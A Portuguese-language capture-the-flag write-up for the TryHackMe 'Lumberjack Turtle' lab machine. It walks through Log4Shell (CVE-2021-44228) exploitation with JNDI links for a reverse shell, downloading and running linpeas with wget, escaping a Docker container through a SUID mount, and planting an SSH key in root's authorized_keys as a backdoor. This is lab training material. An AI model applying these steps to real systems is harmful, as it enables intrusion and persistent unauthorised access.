CTF-LUMBERJACK-THM

Dificuldade - Média

Opa! parece que eu lembrei a senha do github... 🤥

A maquina dá vez é a Lumberjack Turtle

A maquina dá vez aborda os tópicos: CVE-2021-44228, Container Escape, Log4shell.

1 Enumeração:

Pra começar a brincadeira primeiro a gente tem que descobrir com quem a gente ta brincando.

Pagina porta 80:

Apenas uma pagina simples com uma mensagem.

Fuzzing na pagina 80.

Não é porque a pagina é simples que acabou a enumeração.

Pagina ~logs:

"no logs, no crimes"

Como ele mesmo disse... Go deeper.

/~logs/log4j

Bem alto explicativo o que vai acontecer daqui pra frente né ? �

Explorando Log4shell:

Botando nosso arsenal em pratica.

Vamos baixar a ferramenta que vai gerar os Links JNDI que iremos injetar.

Uma site gerador de payloads reverse shell bem simples de ser usado é o reverse shell generator

Com o comando em mãos vamos usar a ferramenta para gerar os links JNDI

Depois de executar o comando vamos pegar um link gerado e inserir na request.

Adicionando um link ao corpo da requisição temos ação...

...e reação.

Cheguei chegando né ?

Entramos aqui com um objetivo não ?

Tá faltando uma flag não tá ?

Depois de um tempo procurando tive a ideia de usar o linpeas para ver se dá uma luz.

para baixar o script na maquina use o comando wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh e em seguinda bash. /linpeas.sh

Dando uma olhada no que o script me diz encontro uma seção afirmando que estou dentro de um container.

E támbém é importante olhar a seção com permissões SUID

O SUID é definido para dar permissões temporárias para um usuário executar um programa ou arquivo com as permissões do proprietário do arquivo.

No caso temos permissão SUID ao executar o Mount

Estamos em um container com permissão SUID no Mount... tá na hora escapar desse container já né ?

Container Escape:

Dando uma estudadinha sobre Docker Escape no hacktryckz aprendemos que podemos montar e ter acesso aos arquivos do sistema hospedeiro.

Vamos procurar os discos.

Após criar uma pasta onde será criada o disco usando mkdir /mnt/host vamos montar o sistema do hospedeiro.

Mesmo depois de tudo isso o criador da maquina dormiu com um palhaço antes...

Como temos acesso aos arquivos do hospedeiro podemos criar um "backdoor" adicionando nossa chave publica do ssh no arquivo authorized_keys dentro do pasta .ssh dentro da pasta de usuário root

Para criar as chaves ssh use o comando ssh-keygen Para inserir a chave dentro do arquivo vamos utilizar o comando echo "${Chave} >>> /root/.ssh/authorized_keys

Após ter feito isso vamos nos conectador a maquina hospedeira usando o ssh e nossa chave id_rsa

Escape realizado e agora vamo procurar a tal flag.

Como não encontrei nada com o comando find vamos ao diretório do usuário root e usar o comando ls -laR. o -l lista as permissões. o -a lista todos arquivos inclusive os ocultos. o -R lista diretórios e subdiretórios recursivamente.

E voilà! Temos a ultima flag.